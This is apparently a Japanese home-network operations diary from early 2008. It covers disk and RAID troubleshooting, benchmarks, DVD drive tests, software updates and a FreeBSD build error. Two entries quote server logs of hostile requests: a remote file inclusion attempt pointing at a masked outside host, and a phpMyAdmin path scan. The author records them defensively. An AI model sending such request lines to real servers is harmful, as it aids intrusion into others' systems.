今後リンク切れが発生しにくくするためと、多くの項目が一つのページに集中することにより検索サイトを使った検索結果が適切で無くなることを防止するために、「自宅通信網の運用日誌」の構造を変更しました。
月ごとに分離していますので、お手数ですが最新月以外は当該月のリンクを使って閲覧してください。
月で日誌を切り替えるようになってから、各検索サイトでインデックス化されるまで時間がかかるのが気になっていたので、今月の切り替えから、月替わりより先にページを作っておいてリンクを張り、少しでも掲載までの期間が改善しないか実験中。問題がないようならば半月前くらいに新しいページを作っておこうと思う。
内容の少ないページに対する掲載制限があるようだとうまくいかないんだけどどんなもんだろうか?
システムディスク(RAID1)を構成しているHDS721010KLA330の古い方の1台の動きがおかしい。しゃっくりするように時々反応が数十秒かかるようになる。時々イベントビュアにタイムアウトも残るようになってきた。Intel Matrix Storage Consoleから、「ボリューム データの確認と修復」を選ぶと、何回に5個とか7個とかバラらバラとエラーが出る。
古いといっても、半年も超えていないのに!交換だなあ。
HDS721010KLA330を交換して見るも変化なし。HDDではなかった様。
配線の接触不良などを疑って、ケースを開けて配線を確認するとがっちりついている。どう見てもコネクタが浮いりしているている感じではない。よく見ると、拡張した玄人志向 SATA2RAID-PCIX (Silicon Image SiI3124)からでているケーブルが当該HDDのM/B側IFポートの所に密着している。このケーブル、無駄に長い上にどうも作りが怪しい。
結局この玄人志向 SATA2RAID-PCIX (Silicon Image SiI3124)からでているケーブルを交換したところ症状が治まった。このケーブルの絡んだ交換2回目の気がする。
裸族のお立ち台eSATAプラス(CROSEU2)購入。ベンチマークの実施してeSATAらしい速度が出るか試験。
型式 : HDS721010KLA330 NTFS
Firmware : GK8OA70F
IF : 玄人志向SATA2RAID-PCIX (Silicon Image SiI3124)
玄人志向SATA2RAID-PCIX (Silicon Image SiI3124)
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CrystalDiskMark 2.0 (C) 2007-2008 hiyohiyo
Crystal Dew World : http://crystalmark.info/
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Sequential Read : 86.303 MB/s
Sequential Write : 85.236 MB/s
Random Read 512KB : 60.601 MB/s
Random Write 512KB : 61.802 MB/s
Random Read 4KB : 1.178 MB/s
Random Write 4KB : 1.728 MB/s
Test Size : 50 MB
Date : 2008/02/03
シーケンシャルアクセスはいつも通りのあたいながらランダムアクセスの速度が微妙に下がっている。この微妙な下がり具合はHDDの向きのせいかな?
もう一つは、心配な情報のあるバッファローDVM-RXG18FB(PIONEER DVR-112D)の代替えでPIONEER DVR-115Dの導入。PIONEER DVR-115の方が良かったが気がつかずに購入。正常に読み出せる事のみ確認と読み出し速度の確認。実際の書き込み予定は2週間後なので、一度ベンチマークを実施したいと思う。
本日もシステムディスクの引っかかるような動作が見られる。イベントビュアーのシステムの項にもエラーが記録されている。
iaStor エラー イベントID 9 \Device\Ide\iaStor0 はタイムアウト期間内に応答しませんでした。
確認と修復をかけたところエラーが1つ修復された。昨日の対策は完全に的外れだったか、昨日までのダメージが残っていたのか?
電源も確認した方が良いかと思い、Supermicroの監視ソフト(Super Docter III)でまずは電源電圧などを確認したが異常なし。次の休みにHDDゲージのバックプレーンの電源電圧を測ってみようと思う。
元々世間が休みの時には減少する傾向が有ったが、今回はやっと回復傾向。
通信回線の遅延時間が一時的に減少するという珍しい現象を検出した。
デフォルトゲートウエイへの遅延には変化が見られずに、大阪・東京方面共に数ms減少しているので上位通信網の回線が切り替わったのだろ思う。変化点のエッジが立っているので負荷が高まって遅延が変化した雰囲気ではない。
通常予備回線の方が能力が低いのが普通のように思う。このため、障害で予備回線に切り替わったような減少ではないように思う。ので、これは何か別の能力の高い回線への乗り換えの予備試験かも知れない。
なかなか過激に怪しいアクセスを発見。PHPを狙った物ではないように見える所が斬新。
A.B.C.D - - [07/Feb/2008:22:15:32 +0900] "GET //?xxx=http://yyyy.yyyy/test.txt??? HTTP/1.1" 200 4184 "-" "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)" A.B.C.D - - [07/Feb/2008:22:15:32 +0900] "GET //?xxx=http://yyyy.yyyy/test.txt??? HTTP/1.1" 200 1811 "-" "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)"
A.B.C.Dやxxx、yyyyは伏せ字。http://yyyy.yyyy/test.txt???をアクセスさせようとしているらしい。200(OK)のステータスが出ていてドキッとしたが、実際にはwebのトップや、logの下のindex.htmlを送っただけと言う結果だった。多分これが本当に指定しているhttp://yyyy.yyyy/test.txt???をアクセスしてしまっていたらきっと踏み台にされていたんだろうなあ。
作業台の上から(0.78m)WDC Caviar GP (WD10EACS)落下させ、壊してしまった。モータの回転は確認できる物のHDDとして認識されない。バックアップ先のディスクとして使っていたので、Seagate Barracuda NS2(ST31000340NS)に交換して割り当て。Seagate Barracuda NS2(ST31000340NS)は写真などを撮影して掲載したかったのだけど、実際に使ってしまうと撮影しにくくなるから掲載が遅れるなあ。
昨日は定例のWindows系のセキュリティアップデートの日。今回大規模。IE7へのメジャーアップデートが大規模アップデートの要因の一つ。
企業内システムでは互換性の問題を避けるため、アップデートしない選択を取るところもあるようで、そのためのツールもMSから提供されている。当自宅通信網では、トラブルになるかも知れないけど、Firefoxに追い上げているこの状況で、放置しないという期待も込めて、WinXP系は機能の足りないIE6を捨てて全面的にIE7へアップデート。(メインで使っているのはFirefox2系)
IE7をインストールした後に、もう一度セキュリティアップデートしないとKB94533とKB938127が入らないのが玉に瑕。
当サーバへのアクセス状況
順位 リクエスト件数 ページ数 ブラウザ
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1 136623 17173 MSIE
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93131 9105 MSIE/6
5790 4739 MSIE/5
37529 3230 MSIE/7
170 96 MSIE/4
3 3 MSIE/3
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4 42999 4199 Firefox
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41568 4037 Firefox/2
1331 142 Firefox/1
100 20 Firefox/3
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5 6766 548 Opera
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6477 512 Opera/9
201 19 Opera/8
71 16 Opera/7
(注1)
順位で飛んでいるところはクローラ類
(注2)
MSIE/5はかなりクローラやBotを含んでいるもよう
当サーバのアクセスに限れば、MSIEは、Firefoxに猛追されている。この状況をIE7は変えるのだろうか。
IE以外にもQuickTimeやAdobe Reader、Adobe Acrobat等もアップデート。
QuickTimeのアップデート率が低いそうだ。昔、有償のProにアップグレードさせようとしつこいことをしたから、警戒されてしまっているんじゃないのかなと思う。この部分がスパイウエア類の使われないと良いのだけど。
当Webに対する無効なアクセスが極端に増えたので詳しく調べたら、なかなか過激なアクセス。
w.x.y.z - - [13/Feb/2008:18:01:11 +0900] "GET /phpmyadmin/main.php HTTP/1.0" 404 282 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:12 +0900] "GET /phpMyAdmin/main.php HTTP/1.0" 404 282 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:13 +0900] "GET /PHPMYADMIN/main.php HTTP/1.0" 404 282 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:13 +0900] "GET /pHpMyAdMiN/main.php HTTP/1.0" 404 282 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:14 +0900] "GET /PhPmYaDmIn/main.php HTTP/1.0" 404 282 "-" "-" | --中略-- | w.x.y.z - - [13/Feb/2008:18:01:34 +0900] "GET /main.phpmain.php HTTP/1.0" 404 279 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:35 +0900] "GET /phpMyAdmin-2.5.6/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:36 +0900] "GET /phpMyAdmin-2.5.4/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:37 +0900] "GET /phpMyAdmin-2.5.1/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:37 +0900] "GET /phpMyAdmin-2.2.3/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:38 +0900] "GET /phpMyAdmin-2.9.1/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:39 +0900] "GET /phpMyAdmin-2.9.0/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:39 +0900] "GET /phpMyAdmin-2.9.0.2/main.phpmain.php HTTP/1.0" 404 298 "-" "-" | --中略-- | w.x.y.z - - [13/Feb/2008:18:01:42 +0900] "GET /phpMyAdmin-2.8.2.1/main.phpmain.php HTTP/1.0" 404 298 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:43 +0900] "GET /phpMyAdmin-2.7.0-pl2/main.phpmain.php HTTP/1.0" 404 300 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:44 +0900] "GET /phpMyAdmin-2.7.0/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:45 +0900] "GET /phpMyAdmin-2.6.4-pl4/main.phpmain.php HTTP/1.0" 404 300 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:45 +0900] "GET /phpMyAdmin-2.6.4/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:46 +0900] "GET /phpMyAdmin-2.8.1/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:47 +0900] "GET /phpMyAdmin-2.2.6/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:48 +0900] "GET /phpMyAdmin-2.2.7/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:49 +0900] "GET /phpMyAdmin-2.2.7-pl1/main.phpmain.php HTTP/1.0" 404 300 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:49 +0900] "GET /phpMyAdmin-2.2.0/main.phpmain.php HTTP/1.0" 404 296 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:50 +0900] "GET /myadmin/main.phpmain.php HTTP/1.0" 404 287 "-" "-" w.x.y.z - - [13/Feb/2008:18:01:51 +0900] "GET /phpmyadmin/test.phpmain.php HTTP/1.0" 404 290 "-" "-"
PHP系の甘い設定を探るGETの総ざらえ。今はPHPを使ってないから良い物の、運用しだしたら気を遣うなあ。一つ忘れがあるだけで確実にやられてしまいそう。PHPを使っている所はこの辺どうしているんだろう。
本日夜にFreeBSD Security Advisories2本配信。特に強く関係はしていなかったが自宅内プロキシと当公開サーバのFreeBSD6.3 Stable系を素直にアップデート。特に問題なし。
本日、購入してから初めてPioneer DVR-115D(Pioneer DVRA15Jのバルク)を使って本格的に書き込み作業をした。以前は同じ系列のBUFFALO DVM-RXG18FB(Pioneer DVR-112DのOEM)を使っていたので、ほぼ同じ感覚だが、速い代わりに少し神経質になった印象。
最初に低いレートの時からデータが出ている。復調の追従性の良さを使ってディスクの回し初めからデータを出力してくれている様に見える。このタイプはレスポンスが速い感覚になるドライブが多いように思う。
まだファームウエアがこなれていないか、PC本体側の転送能力がついていって無いのか、後半での失速が気になる。アドバンスド静音ファームウエアが速度を落としているのか間知れない。エスティトレードのソフトウエアバンドル版を購入したが、パイオニアドライブユーティリティがついていないので、設定を変更できなかった。少し神経質な印象もあるし、ファームウエアの更新が速くDVD-RAMを書き込みの出来る、パイオニアドライブユーティリティがついいているDVR-S15Jに変えてみるのも良いかも知れない。
書き込み品質についてPlexter PX16SAとPlexTools Professional V2.36で調べてみた。
最初の方で書き込み状況が少し良いところからずれる傾向があるように見える。もう少しジッタの揺れがない方がよいように思うが、特に文句なし。
エラーの少なさはさすが。推薦のメディアへの書き込みなので当然と言えば当然だが、それが出来ない機器が多いので、ちゃんと仕事をしている機器には感謝。
CrystalDiskMark 1.0 に問題があったと言うことで、CrystalDiskMark 2.0で計り直し始めていたところ、これにも問題が有ることが報告されている。
CrystalDiskMark 2.1がリリースされている。512KB Random Writeで問題があるそうで、Test Sizeが大きいほど影響が出ると言うことが報告されている。同じバージョンでの比較のみなら問題がないが、意味づけがかなりおかしくなっている。これは、めぼしいのは計り直しだなあ。実践で使っているのは計り直おすのはむずかしいなあ。ベンチマークにバージョンを明記していて不幸中の幸い。
少し前からメインPC(Supermicro SS7045A-T(ベアボーン))のシステムディスクの動作が怪しい。HGSTのDeskstarでシステムディスクを構成しているので、Feature Toolでモードを変えることを含めていろいろやってみた。
どうも、伝送系の質の問題のようだと分かった。転送速度が効いたのか、不定だったスペクトラム拡散を無効に設定したのが効いたのか。HDDゲージの電源系を疑って、パスコン類を良い物に変える準備を始めていたのに無駄になったが、RoHS品だったので、無鉛ハンダを扱えるようにハンダごても用意しなきゃと思っていたので、そこまで行く前に分かって良かった。
安定して一安心。でも何では志の1つだけなんだろう。ケーブルコネクタから近いのに。さて、次はSATAケーブルの交換かな。
メインPC(Supermicro SS7045A-T(ベアボーン))の転送速度を下げ無かったシステムディスク以外も含めて、RAIDボリュームを全て検査。全く問題なし。おとなしいもの。怪しい動作の第1原因は転送速度がシステムの状態と合っていなかったということになる。
問題は、なぜ速い速度(Generation 2:3.0Gbit/sec)で転送できないかと言うこと。ケーブルか、ゲージの問題があるのか?
メインPCのディスク系の不安定が解決したので、Windows XP Service Pack 3 (SP3) Release Candidate (RC)を試してみることにした。
今のところ異常がない。そればかりかレスポンスが向上したように思う。それに気をよくして、BIOSの省電力モードのCステートのサポート設定を_C1C2から_C1C2C3C4(All サポート)に変更。巧く動いてくれると良いのだが。
FreeBSD 6.3 Stableのcvsupした結果に不整合が出ている。Kernelコンパイルでむなしく停止。
/usr/src/sys/modules/unionfs/../../fs/unionfs/union_vfsops.c:443: error: conflicting types for 'unionfs_quotactl' /usr/src/sys/modules/unionfs/../../fs/unionfs/union_vfsops.c:58: error: previous declaration of 'unionfs_quotactl' was here /usr/src/sys/modules/unionfs/../../fs/unionfs/union_vfsops.c:443: error: conflicting types for 'unionfs_quotactl' /usr/src/sys/modules/unionfs/../../fs/unionfs/union_vfsops.c:58: error: previous declaration of 'unionfs_quotactl' was here /usr/src/sys/modules/unionfs/../../fs/unionfs/union_vfsops.c:560: warning: initialization from incompatible pointer type /usr/src/sys/modules/unionfs/../../fs/unionfs/union_vfsops.c:58: warning: 'unionfs_quotactl' used but never defined *** Error code 1 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error
UPDATEにも何も記述はない。何かアナウンスを見落としているかなぁ。
スキャナを更新。今まで使っていたEPSON GT-9700Fの中の何処かがぼろぼろはがれてゴミが出るので更新を決断。
大分世代が違うので、かなり使いやすくなっていた。LED光源でウォーミングアップが無くスパッと立ち上がるのは思ったより使い心地がよい。また、動作の重いTWAIN経由を経由しない感じの、動きの速いEPSON Scanもとても便利。作業効率が段違いだった。画質については、GT-9700Fでも十分だったのでGT-X770では全く不満はない。高解像度の物をスキャンするとノイズが少ない気がする。ここまでの能力は私の用途ではあまり気味だが基礎体力が高いのは何にしても良い。
当Webサイトの画像ではWDC Caviar GP (WD10EACS)の形状写真から導入。
何を今更と言われながらも、MS Officeではなく、Just Suite 2008を導入。
元々は、日本語FEPはAisoftのWXGを使っていて、3年ほど前に数少ない生き残っている市販国産日本語FEPのATOKき切り替えた。今回はATOK6からATOK8に更新。ATOKは相変わらずの切れの良さ。それ以外は、一太郎と三四郎、花子、SuiteNaviを導入。一太郎以外は初めての導入なので、使い心地はこれから。
三四郎2008が古いWindows3.1の頃のロータス1-2-3 Release 5J Windowsのファイルを漢字のコードも正しく読み込めるたのは嬉しかった。なかなか漢字が化けずに読めるのに出会ってこれなかったのであきらめていた。ただし、グラフ類は全く読み込めなかった。